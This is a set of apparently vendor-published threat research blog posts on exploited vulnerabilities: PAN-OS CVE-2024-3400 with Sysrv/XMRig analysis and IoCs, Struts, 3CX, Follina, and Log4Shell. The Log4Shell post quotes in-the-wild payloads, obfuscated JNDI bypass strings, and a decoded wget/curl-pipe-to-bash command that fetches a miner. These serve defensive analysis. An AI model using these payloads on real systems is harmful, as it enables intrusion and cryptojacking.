On Friday, April 12, 2024, Palo Alto Networks PAN-OS was found to have an OS command injection vulnerability (CVE-2024-3400). Due to its severity, CISA added... Read ›
CVE-2024-3400: Critical Palo Alto PAN-OS Command Injection Vulnerability Exploited by Sysrv Botnet’s XMRig Malware On Friday, April 12, 2024, Palo Alto Networks PAN-OS was found to have an OS command injection vulnerability (CVE-2024-3400). Due to its severity, CISA added it to its Known Exploited Vulnerabilities Catalog. Shortly after disclosure, a PoC was published.
We have identified several attempts to exploit this vulnerability with the intent to install XMRig malware for cryptocurrency mining. Cato’s sophisticated multi-layer detection and mitigation engines have successfully intercepted and blocked all such efforts. The recent vulnerability in PAN-OS underlines the inherent vulnerable architecture of on-premises firewalls. This situation highlights the critical need to transition from legacy appliances to a more integrated and holistic native Secure Access Service Edge (SASE) solution. Cato’s cloud-native SASE platform incorporates a comprehensive, complete security stack, seamlessly integrating various security functions. This dynamic and adaptive approach is designed to respond to evolving threats effectively, ensuring superior protection across the entire business infrastructure.
CVE-2024-3400 Palo Alto Networks GlobalProtect PAN-OS
On Friday, April 12, Palo Alto Networks published an advisory on a zero-day vulnerability CVE-2024-3400. The CVE carries a 10, the highest rating in CVSS. It is found in multiple versions of PAN-OS, the operating system that powers Palo Alto’s firewall appliances.
This vulnerability allows unauthenticated threat actors to execute arbitrary code with root privileges on the firewall.
The vulnerability is in the “SESSID” cookie value, which creates a new file for every session as root. Following this discovery, it’s possible to execute code using bash manipulations. For a detailed vulnerability analysis, visit the Attackerkb blog.
Exploitation attempt
By analyzing the exploit, we can better understand what the threat actors were trying to achieve.
Malware downloader analysis – ldr.sh
The threat actors exploited the vulnerability to download a bash script named "ldr.sh" to the firewall machine. If the exploitation were successful, the script's commands would then run with root privileges and aim to disable and remove any security services and malware present on the infected system.
The threat actor would then download and run the XMRig malware from hxxp[://]92[.]60[.]39[.]76:9991/cron
The downloader downloads the cron malware into Path and then executes it [click for full-size]
After that, the threat actor tried to spread the malware to different hosts that the victim had access to, by searching for an SSH configuration. They would then connect to the machine and download the malware.
[Click for full-size]
After the threat actor would infect the current machine and spread to other hosts, they would cover their tracks by deleting logs.
Payload analysis – XMRig malware
After obtaining the malware sample, we started a basic analysis. The malware is written in Golang and has different variations for Linux and Windows operating systems.
An investigation of the IP address reveals that it is associated with a known Sysrv Botnet.
[Click for full-size]
Analyzing the malware using Ghidra, we found strings associated with XMRig.
[Click for full-size]
[Click for full-size]
We also ran the malware in a controlled environment and saw it periodically sends DNS requests to www[.]dblikes[.]top. If the malware cannot reach the website, it will not trigger the miner.
Running the malware has created requests to www[.]dblikes[.]top [click for full-size]
The malware connection to www[.]dblikes[.]top and the Sysrv botnet via Virus Total [Click for full-size]
Following our primary analysis, we concluded that it is the XMRig malware.
However, in addition to the payload for malware deployment, we also saw multiple attempts to probe for the vulnerability by sending out-of-bounds HTTP and DNS requests.
[Click for full-size]
True SASE to the rescue
Legacy security products relying on physical appliances are inherently vulnerable due to the limitations of their architecture. As cybersecurity threats evolve, these vulnerabilities can expose organizations to significant risks. A robust cloud-based Secure Access Service Edge (SASE) solution is crucial for the future of information security. A true SASE solution, updated continuously, is less susceptible to the vulnerabilities that plague traditional appliance-based products. Unlike these legacy systems, which can serve as initial access points for threat actors, a cloud-native SASE architecture is designed for resilience and is enhanced daily to combat new and emerging threats. This continuous improvement ensures a more secure and adaptive security environment.
Virtual patching vs. manual patching
Threat actors are quick to exploit vulnerabilities to disseminate malware. To address this, Palo Alto customers must apply the PAN-OS patch to every Palo Alto appliance, which is a significant drawback compared to virtual patching solutions. Products offering virtual patching, multi-layer detection, and mitigation, like SASE, offer rapid protection, representing a more agile and effective defense against emerging security threats. This advantage is crucial in environments where the speed of response impacts the ability to mitigate or prevent security breaches.
Cato Networks provides comprehensive protection for organizations, not only at the initial access point but throughout all stages of the kill chain. This includes defenses against lateral movement, malware deployments and DNS-based threats. By securing each kill chain phase, Cato ensures a robust defense mechanism that minimizes vulnerabilities and enhances overall security posture. This approach helps prevent attackers from advancing their objectives at any point, safeguarding critical assets and data against a wide spectrum of cyber threats.
We will provide further updates when we detect any new attempts to exploit.
IoC list
IPs
189[.]206[.]227[.]150
92[.]60[.]39[.]76:9991
92[.]60[.]39[.]76:9993
Domains
www[.]dblikes[.]top
Hashes
· Cron (UPX) -1BC022583336DABEB5878BFE97FD440DE6B8816B2158618B2D3D7586ADD12502
· Cron (Unpacked) -36F2CB3833907B7C19C8B5284A5730BCD6A7917358C9A9DF633249C702CF9283
· ldr.sh - 5CA95BC554B83354D0581CDFA1D983C0EFFF33053DEFBC7E0359B68605FAB781
· wr.exe (UPX) - A742C71CE1AE3316E82D2B8C788B9C6FFD723D8D6DA4F94BA5639B84070BB639
· wr.exe (Unpacked) - 4D8C5FCCDABB9A175E58932562A60212D10F4D5A2BA22465C12EE5F59D1C4FE5
MITRE techniques
· T1190 – Exploit Public-Facing Application
· T1059.004 – Windows Command Shell
· T1059.004 – Unix Shell
· T1562.001 – Disable or Modify Tools
· T1562.004 – Disable or Modify System Firewall
· T1070 .002 – Clear Linux or Mac System Logs
· T1070 .004 – File Deletion
· T1552.004 – Private Keys
· T1021.004 – SSH
· T1105 – Ingress Tool Transfer
· T1496 – Resource Hijacking
The tactics, techniques, and sub-techniques in the Mitre Attack Navigator [Click for full-size]
By Vadim Freger, Dolev Moshe Attiya On December 7th, 2023, the Apache Struts project disclosed a critical vulnerability (CVSS score 9.8) in its Struts 2... Read ›
Apache Struts 2 Remote Code Execution (CVE-2023-50164) – Cato’s Analysis and Mitigation By Vadim Freger, Dolev Moshe Attiya
On December 7th, 2023, the Apache Struts project disclosed a critical vulnerability (CVSS score 9.8) in its Struts 2 open-source web framework. The vulnerability resides in the flawed file upload logic and allows attackers to manipulate upload parameters, resulting in arbitrary file upload and code execution under certain conditions.
There is no known workaround, and the only solution is to upgrade to the latest versions, the affected versions being:
Struts 2.0.0 - Struts 2.3.37 (EOL)
Struts 2.5.0 - Struts 2.5.32
Struts 6.0.0 - Struts 6.3.0
The Struts framework, an open-source Java EE web application development framework, is somewhat infamous for its history of critical vulnerabilities. Those include, but are not limited to, CVE-2017-5638 which was the vector of the very public Equifax data breach in 2017 resulting in the theft of 145 million consumer records, which was made possible due to an unpatched Struts 2 server.
At the time of disclosure, there were no known attempts to exploit, but several days later on December 12th, a Proof-of-Concept (POC) was made publicly available. Immediately, we saw increased scanning and exploitation activity across Cato’s global network. Within one day, Cato had protected against the attack.
[boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink]
Details of the vulnerability
The vulnerability is made possible by combining two flaws in Struts 2, allowing attackers to manipulate file upload parameters to upload and then execute a file.
This vulnerability stems from the manipulation of file upload parameters. The first flaw involves simulating the file upload, where directory traversal becomes possible along with a malicious file. This file upload request generates a temporary file corresponding to a parameter in the request. Under regular circumstances, the temporary file should be deleted after the request ends, but in this case, the temporary file is not deleted, enabling attackers to upload their file to the host.The second flaw is the case-sensitive nature of HTTP parameters. Sending a capitalized parameter and later using a lowercase parameter with the same name in a request makes it possible to modify a field without undergoing the usual checks and validations.
This creates an ideal scenario for employing directory traversal to manipulate the upload path, potentially directing the malicious file to an execution folder. From there, an attacker can execute the malicious file, for instance, a web shell to gain access to the server.
Cato’s analysis and response to the CVE
From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the POC availability.Attempts observed range from naive scanning attempts to real exploitation attempts looking for vulnerable targets.
Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources -- worldwide from December 13th, 2023.
Nonetheless, Cato recommends upgrading all vulnerable webservers to the latest versions released by the project maintainers.
Supply chain attacks are one of the top concerns for any organization as they exploit (no pun intended) the inherited trust between organizations. Recent examples... Read ›
The 3CX Supply Chain Attack – Exploiting an Ancient Vulnerability Supply chain attacks are one of the top concerns for any organization as they exploit (no pun intended) the inherited trust between organizations. Recent examples of similar attacks include SolarWinds and Kaseya. On March 29th, a new supply chain attack was identified targeting 3CX, a VoIP IPXS developer, with North Korean nation-state actors as the likely perpetrators.
What makes the 3CX attack so devastating is the exploitation of a 10-year-old Microsoft vulnerability (CVE-2013-3900) that makes executables appear to be legitimately signed by Microsoft while, in fact, they are being used to distribute malware. This is not the first time this vulnerability has been exploited; earlier this year, the same tactic was used in the Zloader infection campaign. In the 3CX case, the two “signed” malicious DLLs were used to connect to a C&C (Command and Control) server and ultimately connect to a GitHub repository and download an information stealing malware that targets sensitive data users type into their browser.
[boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink]
The Cato Networks security group responded to this threat immediately. Customers whose systems were communicating with the second-stage payload server were contacted and informed of which devices were compromised. All domains and IPs associated with the campaign were blocked to limit any exposure to this threat.
Cato’s approach to such threats is one of multiple choke points, ensuring the threat is detected, mitigated, and prevented along its entire attack path. This can only be done by leveraging the private cloud backbone in which each PoP has the entire security stack sharing and contextualizing data for each network flow. Cato’s mitigation of the 3CX threat includes:
Malicious domains are tagged as such and are blocked. The firewall rule for blocking malicious domains is enabled by default.
IPS (Intrusion Prevention System) – Payload servers were added to the domain blocklist, this is complimentary to the firewall rules and is not dependent on them being enabled.
Anti-malware – All 3CX associated trojans are blocked
MDR (Managed Detection and Response) – the MDR team continues to monitor customer systems for any suspicious activities.
Cato Networks security group will continue to monitor this threat as it develops. For a detailed technical analysis of the attack see Cyble’s blog.
Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems. Earlier today... Read ›
Cato Protects Against Microsoft Office Follina Exploits Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems.
Earlier today Microsoft issued CVE-2022-30190 that describes the remote code execution (RCE) vulnerability within Office. It can be exploited when the Microsoft Support Diagnostic Tool (MSDT) is called using by a URL from a calling application such as Word.
An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.
The vulnerability was discovered by nao_sec, the independent cybersecurity research team, who found a Word document ("05-2022-0438.doc") uploaded to VirusTotal from an IP address in Belarus. The Microsoft post explained how to create the payload and various work arounds.
Describing the vulnerability, nao_sec writes on Twitter, “It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code." The Hackernews quotes security researcher Kevin Beaumont, saying that “the maldoc leverages Word's remote template feature to fetch an HTML file from a server, which then makes use of the "ms-msdt://" URI scheme to run the malicious payload.”
Beaumont has dubbed the flaw "Follina," because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso.
[boxlink link="https://www.catonetworks.com/cybersecurity-masterclass/?utm_source=blog&utm_medium=top_cta&utm_campaign=masterclass"] Join one of our Cyber Security Masterclasses | Go now [/boxlink]
Cato Immediately Protects Users Worldwide
Within hours of Microsoft’s reporting, Cato researchers were already working on implementing protections for Cato customers worldwide. Already, Cato’s multilayered security defense fully protected Cato-connected users. While no further action is needed, Cato customers are advised to patch any affected systems.
There are currently three ways attackers can exploit this attack:
Users can download a file or application containing the payload that will invoke the MSDT locally.
Users can download a file or application containing the payload that will get the invocation from the Internet (from the attacker’s sites)
User’s browser receives the payload in the response to direction from a malicious site, runs MSDT.
All three approaches are already blocked using the Cato Advanced Threat Prevention (ATP) capabilities. Cato’s anti-malware inspects and will block downloading of files or applications with the necessary payload to execute Follina. Cato IPS will detect and prevent any invocation from across the network or the Internet.
As we have witnessed with Log4j, vulnerabilities such as these can take organizations a very long time to patch. Log4j exploitations are still observed to this day, six months after its initial disclosure. With Cato, enterprises no longer see the delays from patching and are protected in record time.
Demonstration of Attack Exploiting CVE-2022-30190
As Indicators of Compromise (IoC) and reactive security continue to be the focus of many blue teams, the world is catching on to the fact... Read ›
Why Cato Uses MITRE ATT&CK (And Why You Should Too) As Indicators of Compromise (IoC) and reactive security continue to be the focus of many blue teams, the world is catching on to the fact that adversaries are getting smarter by the minute and IoCs are getting harder to find and less effective to monitor, giving adversaries the upper hand and letting them be one step ahead.
With the traditional IoC-based approach, the assumption is that whenever adversaries use some specific exploit it will generate some specific data. It could be an HTTP request, a domain name, a known malicious IP, and the like. By looking at information from sources such as application logs, network traffic, and HTTP requests enterprises can detect these IoCs and stop adversaries from compromising their networks.
In 2020 there were about 18,000 new CVEs reported and in 2021 there were about 20,000, as this trend continues the number of IoCs that are discovered becomes unmanageable and many of them can be modified in small ways to avoid detection. What’s more, as we will show in this blogpost, IoCs are not even the full security picture, representing a small portion of the attacks confronting enterprises. All of which suggests that security professionals need to expand their methods of detecting and stopping attacks.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the Rise – Cato’s Security as a Service can help [eBook] [/boxlink]
TTPs: The New Approach to Detecting Attacks
The security community has noticed this trend and has started shifting from IoC-based detection to understanding adversaries’ Tactics, Techniques, and Procedures (TTPs). Having identified TTPs, security vendors can then develop the necessary defenses to mitigate risk.
Many tools have been developed to help understand and map these TTPs, one such tool is MITRE’s ATT&CK Framework.
ATT&CK is a collaborative effort involving many security vendors and researchers. The project aims to map adversary TTPs to help create a common language for both red and blue teams.
ATT&CK contains a few different matrices, each with its own sector. In the enterprise matrix, which is focus of our work, there are 14 “tactics.” A “tactic” is a general goal that the adversary is trying to accomplish, under each tactic there are several “techniques.” A “technique” is the means the adversary uses to accomplish his tactic, it is a more technical categorization of what the adversary may do to implement his tactic. Each technique can appear under multiple tactics and can be further divided into sub-techniques. Some tactics can be seen across the network with Reconnaissance, Initial Access, Execution, and Exfiltration associated with the network’s perimeter.
To better understand the value of ATT&CK, look at “The Pyramid of Pain,” which shows the relationship between the types of indicators you might use to detect an adversary's activities and how hard it will be for them to change them once caught. TTPs being the hardest to change thus causing more pain to the adversary if detected.
[caption id="attachment_22591" align="alignnone" width="2080"] This diagram shows us in a simple manner why aiming to identify TTPs can be more beneficial and improve defenses against adversaries rather than those focusing on IoCs.[/caption]
As enterprises shift from reactive and IoC-based security, which heavily relies on processing IoCs from threat intelligence feeds, to TTP-based security, which requires a proactive approach based on research, enterprise security becomes more challenging. At the same time, TTP-based security brings numerous benefits. These include better visibility into one’s security posture, better understanding of security risks, and an improved understanding of how to expand security capabilities to better defend against real adversaries.
Cato Implements MITRE ATT&CK
Cato has implemented the MITRE ATT&CK methodology of identifying and protecting against TTPs on top of the traditional IoCs. We incorporated this ability into our product by implementing a tagging system that tags each security event with the relevant ATT&CK tactics, techniques, and sub-techniques. This allows customers to visualize and understand what threats they face and what attack flows they are vulnerable to, further enabling them to understand where to improve their insight, and what TTPs their adversaries are using.
[caption id="attachment_22593" align="alignnone" width="1358"] A view of an event that is mapped to ATT&CK in the Cato Cloud[/caption]
So, what did implementing a TTP-based approach reveal to us?
As we dove into the details of our signatures, we saw that we could divide them into two main approaches:
IoC-based - Covering a specific vulnerability using well-defined IoCs.
TTP-based - Covering a behavior of an adversary.
We started by looking at our products’ coverage over the entire ATT&CK matrix and trying to understand where we are most vigilant and where we are less so. Our scope was the most common threats we cover (in our customers’ networks), and new threats we covered from the last year.
After going through this process and creating a visualization of our threat protection with the ATT&CK Navigator, we found that Cato Cloud provides protection across all stages of the attack flow with particular strengths in the Initial Access and Execution stages.
[caption id="attachment_22595" align="alignnone" width="2708"] Cato’s protection capabilities mapped onto the ATT&CK matrix. The darker the color, the more vulnerabilities Cato protects against in that technique. (For simplicity, sub-techniques are not shown.)[/caption]
We should not be satisfied with this data alone, while signature numbers and mappings are an insightful metric, the real insights should be derived from events in the field. So, we then examined Cato’s defenses based on the actual events of exploitation attempts in each ATT&CK technique. Our sampling looked at a two-week period spanning some 1,000 networks.
[caption id="attachment_22597" align="alignnone" width="2928"] Cato’s security events mapped onto the ATT&CK Matrix. Again, the darker the color the more events found to be using that technique in the last two weeks. Sub-techniques are not shown to keep it simple.[/caption]
From this mapping, we can see two things.
Most events are from scanning techniques, this is expected as a single scan can hit many clients with many protocols and generate many events.
We see events from many different techniques and tactics, which means that covering more than just the perimeter of the network does increase security as adversaries can appear in any stage of the attack flow and should never be assumed to exist only in the perimeter.
Putting aside scans, we found that TTP-based signatures identified far more security events than the IoC-based signatures did. Below is a table mapping the percentage of events identified by TTP-based (ATT&CK) and IoC-based approaches over our sampling period. Looking at the table, three techniques represent 87% of all events in the last two weeks. Counting the signatures, we saw that on average 78% of all signatures were IoC-based and only 22% were TTP-based.
[caption id="attachment_22635" align="alignnone" width="632"] Top 3 techniques based on number of events, excluding scans.[/caption]
But when we looked at the number of total events, we noticed that on average 94% are TTP-based and only 6% are IoC-based, this affirms our TTP-based approach’s effectiveness in focusing on those areas of actual importance to organizations.
TTP: Lets You Focus on Quality Not Chase Quantity
Focusing on TTP-based signatures provides a wide angle of protection against unknown threats, and the potential to block 0-days out of the box. On top of 0-days, these signatures cover past threats just as well, giving us a much greater ratio of threats covered per signature.
The IoC-based approach is less valuable, identifying fewer threats confronting today’s enterprises. TTP-based signatures prove to save production time by having a better protection for less effort and giving us more confidence in our coverage of the ATT&CK Matrix.
What’s more, when covering IoC-based signatures, the focus is on the number of signatures, which does not necessarily result in better security and might even lead to a false sense of one. The bottom line is that one good TTP-based signature can replace 100 IoC-based ones, allowing enterprises to focus on quality of protection without having to chase quantity of threats.
On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take... Read ›
Log4J – A Look into Threat Actors Exploitation Attempts On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.
LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity – forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat.
Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes – not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align
Quick Mitigation
At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers.
Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques.
Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attack’s lifecycle and adoption by various threat actors, once such a vulnerability goes public.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the rise | Download eBook [/boxlink]
Exploit Trends and Anecdotes
We found exploit attempts using the normal attack payload:
${jndi:ldap://<MALICIOUS DOMAIN>/Exploit}
We identified some interesting variations and trends:
Adopted by Scanners
Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts:
Access-Control-Request-Method: ${jndi:ldap://<REDACTED_IP>:42468/a}
Access-Control-Request-Headers: ${jndi:ldap://<REDACTED_IP>:42468/a}
Warning: ${jndi:ldap://<REDACTED_IP>:42468/a}
Authorization: ${jndi:ldap://<REDACTED_IP>:42468/a}
TE: ${jndi:ldap://<REDACTED_IP>:42468/a}
Accept-Charset: ${jndi:ldap://<REDACTED_IP>:42468/a}
Accept-Datetime: ${jndi:ldap://<REDACTED_IP>:42468/a}
Date: ${jndi:ldap://<REDACTED_IP>:42468/a}
Expect: ${jndi:ldap://<REDACTED_IP>:42468/a}
Forwarded: ${jndi:ldap://<REDACTED_IP>:42468/a}
From: ${jndi:ldap://<REDACTED_IP>:34467/a}
X-Api-Version: ${jndi:ldap://<REDACTED_IP>:42468/a}
Max-Forwards: ${jndi:ldap://<REDACTED_IP>:34467/a}
Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While it’s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one can’t help but wonder what would happen if these tools were used by malicious actors.
Sinkholes Created
nspecting attack traffic allowed us to find sinkhole addresses used for checking vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerability PoC is found to be successful.
A bunch of HTTP requests with headers such as the ones below indicate the use of a sinkhole:
User-Agent: ${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent
User-Agent: ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}
We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds.
This header seen in the wild:
X-Api-Version: ${jndi:ldap://<REDACTED>.burpcollaborator.net/a
This is an example of using the burpcollaborator platform for sinkholing successful PoCs. In this case, the header used was an uncommon one, trying to bypass security products that might have overlooked it.
Among many sinkholes, we also noticed <string>.bingsearchlib.com, as mentioned here too.
Bypass Techniques
Bypass techniques are described in a couple of different GitHub projects ([1], [2]). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that won’t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps://
A funny one we found in the wild is:
GET /?x=${jndi:ldap://1.${hostName}.<REDACTED>.interactsh.com/a}
Host: <REDACTED_IP>:8080
User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://2.${hostName}.<REDACTED>.interactsh.com}
Connection: close
Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3.${hostName}.<REDACTED>.interactsh.com}
Accept-Encoding: gzip
In this request, the attacker attempted three different attack methods: the regular one (in green), as well as two obfuscated ones (in purple and orange).
Seems like they’ve assumed a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However, they missed the fact that many modern security vendors would drop this request altogether, leaving them exposed to being signed and blocked by their “weakest link of obfuscation.”
Real Attacks – Cryptomining on the Back of Exploitation Victims
While many of the techniques described above were used by pentesting tools and scanners to show a security risk, we also found true malicious actors attempting to leverage CVE-2021-44228 to drop malicious code on vulnerable servers. The attacks look like this:
Authorization: ff=${jndi:ldap://<REDACTED_IP>:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
Base64-decoding the payload above reveals the attacker’s intentions:
…
(wget -O – http[:]//<REDACTED_IP>:8005/acc||curl -o – http[:]//<REDACTED_IP>:8005/acc)|/bin/bash
Downloading the file named acc leads to a bash code that downloads and runs XMrig cryptominer. Furthermore, before doing so it closes all existing instances of the miner and shuts them off if their CPU usage is too high to keep under the radar. Needless to say, the mined crypto coins make their way to the attacker’s wallet.
The SANS Honeypot Data API provides access to similar findings and variations of true attacks that target their honeypots.
The Apache Log4j vulnerability poses a great risk to enterprises that fail to mitigate it on time. As we described, the vulnerability was promptly used not only by legitimate scanners and pentesting tools, but by novice and advanced attackers, as well. Cato customers were well taken care of. We made sure the risk was promptly mitigated and notified our customers that their networks are safe. Read all about it in our blog post: Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability. So until the next time....
We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in... Read ›
How Cato Was Able to Meet the CISA Directive So Quickly We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in the world on the Cato SASE Cloud are now protected against network-based threats exploiting the exposures the Cybersecurity and Infrastructure Security Agency (CISA) identified two weeks ago. Actually, the time to implement those protections in the field was closer to 10 days.
For someone in security research that’s an amazing accomplishment. It’s not just that we developed signatures to record time. Alone that would be significant. It’s that we were able to get those signatures implemented in production across all of our customers and without their intervention so quickly. Let me explain.
THE CISA DIRECTIVE
Two weeks ago, the CISA issued a Binding Operational Directive (BOD) forcing federal agencies to remediate known and exploited vulnerabilities within CISA’s given timeline. Some 300 previously exploited vulnerabilities were identified, 113 of which had to be addressed by today. Their guidance is to remediate these vulnerabilities on their information systems, mainly by patching the announced vulnerable products to their latest versions.
While none of the vulnerabilities were found in the Cato SASE Cloud, we wanted to protect our customer against any relevant network-based threats. Upon arrival of CISA’s announcement through one of our many threat intelligence feeds, we triaged the IOCs to identify those vulnerabilities that fell within scope of our IPS, finding public or hidden information to get a correct reproduction of the exploit.
Some of the vulnerabilities announced by CISA were ones that didn’t have any public exploit. In such a case, reproducing the exploit is unfeasible and the vendor of the vulnerable product is responsible for releasing a patch and/or providing workarounds. The only exception for this case is Microsoft vulnerabilities, which we can handle thanks to our collaboration with Microsoft as part of the Microsoft Active Protection Plan (MAPP). As members of MAPP Microsoft share with us detailed information to allow mitigation of vulnerabilities found in their products.
Many of the vulnerabilities had already been triaged and mitigated last year. Out of the 113 CVEs (Common Vulnerabilities and Exposures) that CISA asked to be patched by November 17th, we identified 36 vulnerabilities that were within scope. (We’re currently in the process of handling the rest of the vulnerabilities in the catalog, which CISA asked to be patched by May 2022.)
[boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] SASE vs SD-WAN
| What’s Beyond Security [/boxlink]
THE IPS PROBLEM
Normally, getting 36 signatures developed and deployed in the field would take weeks. Oh, yes, often legacy security vendors are proud of the speed by which they develop IPS signatures. What they ignore is the time IT then needs to take to implement those signatures.
Every signature must be first assessed for their relevance and performance impact on the IPS. Then they need to run the IPS on live traffic in detect mode only, checking to see what false positives are generated and identifying any end user disruption. Only afterwards can IT deploy an IPS signature in full production. Often, though, the headaches cause many to leave legacy IPS in detect mode and ignore its alerts, wasting their IPS resource.
But with Cato Managed IPS-as-a-Service, none of that is an issue. Our IPS runs as part of Cato’s global cloud-native platform. The cloud’s ubiquitous resources eliminate legacy IPS performance issues.
Cato’s advanced behavioral signatures are also vastly different than legacy IPS signatures. Our signatures are context-aware, synthesizing indicators across multiple network and security domains normally unavailable to a legacy IPS. We can do this because as a global SASE platform, we’ve built a simply massive data lake from the metadata of every flow crossing the Cato global private backbone. For security researchers, like myself, this sort of data is like gold, letting us develop incredibly precise signatures that are more accurate (reducing false positives) and more effective (reducing false negatives).
For each CVE, Cato validates the IPS signature against real-traffic data from our data lake. This unique data resource allows Cato to run through “what if” scenarios to ensure their efficacy. Only then do we push them to the production network in silent mode, monitor the results, and eventually switch them to global block-mode.
What About Those Out of Scope?
Cato protects organizations against network-based threats but even endpoint attacks often have a network-based component. Cato’s IPS inspects inbound, outbound, and WAN-bound network traffic. This means that endpoint vulnerabilities are out of scope. Nevertheless, we do have mitigation mechanisms that would block potential exploitation of such CVEs further down the attack kill chain, such as Next Generation Anti-Malware (for blocking of malware dropping), reputation feeds (for blocking of malicious IPs/domains, CNC communication, and other IoCs) and more.
What Else Should Cato Customers Do?
If you have the Cato IPS enabled, you are protected from these vulnerabilities with no manual configuration changes required on your part. However, to ensure complete protection from vulnerabilities out of Cato’s scope, we advise following vendor advisories to mitigate and update your systems and patch them to the latest version.
